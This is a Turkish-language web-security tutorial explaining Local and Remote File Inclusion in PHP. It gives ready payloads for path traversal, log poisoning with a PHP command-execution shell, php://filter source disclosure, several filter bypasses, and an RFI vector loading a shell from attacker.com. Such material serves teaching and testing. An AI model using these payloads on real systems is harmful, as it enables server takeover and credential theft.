File Inclusion (LFI/RFI): Web Uygulamalarının Sessiz Katili

Web güvenliğinin en "nostaljik" ama hala en ölümcül açıklarından biri olan File Inclusion, bir yazılımcının kullanıcıya duyduğu "aşırı güvenin" bedelidir. Gelin, bu labirentin derinliklerine inelim.

1. LFI (Local File Inclusion): Dizinlerin Derinliğine Yolculuk

LFI, saldırganın sunucu üzerindeki yerel dosyaları (şifreler, loglar, konfigürasyonlar) okumasına olanak tanır.

Dizin Tırmanışı (Path Traversal)

Yazılımcı kapıyı aralık bırakırsa (include($_GET['page']);), saldırgan bir dağcı gibi ../ halatını kullanarak kök dizine tırmanır.

  • Hedef: /etc/passwd (Linux) veya C:\Windows\win.ini (Windows).
  • Payload: site.com/index.php?page=../../../../etc/passwd

Log Poisoning: Günlükleri Zehirlemek

Sadece dosya okumak yetmezse, sistemin "kara kutusu" olan log dosyaları hedef alınır.

  1. Zehirle: User-Agent alanına PHP kodu (<?php system($_GET['cmd']); ?>) gömülür.
  2. Tetikle: LFI ile log dosyası çağrılır ve sunucu, logun içindeki zararlı kodu kendi koduymuş gibi çalıştırır.

2. PHP Wrappers: Kaynak Kodun Perdesini Aralamak

Bazen sunucu dosyayı bize göstermez, çalıştırır. config.php içindeki veritabanı şifresini görmek için Base64 zırhını kullanırız.

  • Payload: php://filter/convert.base64-encode/resource=config.php
  • Sonuç: Sunucu kodu çalıştırmaya çalışmaz, bize Base64 halini verir. Biz de onu decode edip şifreleri okuruz.

3. Bypass Sanatı: Filtreleri "Mat" Etmek

Yazılımcılar ../ ifadesini silen filtreler yazabilir. Ama siber güvenlikte her kilidin bir maymuncuğu vardır:

  • Recursive Bypass: Filtre ../ siliyorsa, biz ....// göndeririz. Filtre ortadakini silince baştaki ve sondaki parçalar birleşip tekrar ../ olur!
  • Encoding Kamuflajı: Nokta ve bölü yasaksa, onlara URL dilinde hitap edin: %2e%2e%2f
  • Null Byte (%00): Eski PHP sürümlerinde satırı bitirmek için kullanılır. Sistem zorla .php ekliyorsa, sonuna %00 koyun ve gerisini görmezden gelmesini sağlayın.

4. RFI (Remote File Inclusion): Truva Atı

LFI içeridekiyle uğraşırken, RFI dışarıdan "ordu" çağırır. Saldırgan, kendi sunucusundaki zararlı bir scripti (Web Shell) doğrudan hedef sisteme enjekte eder.

  • Vektör: example.com/index.php?page=https://attacker.com/shell.txt
  • Sonuç: Sunucu, dışarıdaki bu dosyayı içeri alır ve çalıştırır. Tam yetki (RCE) sağlanmış olur.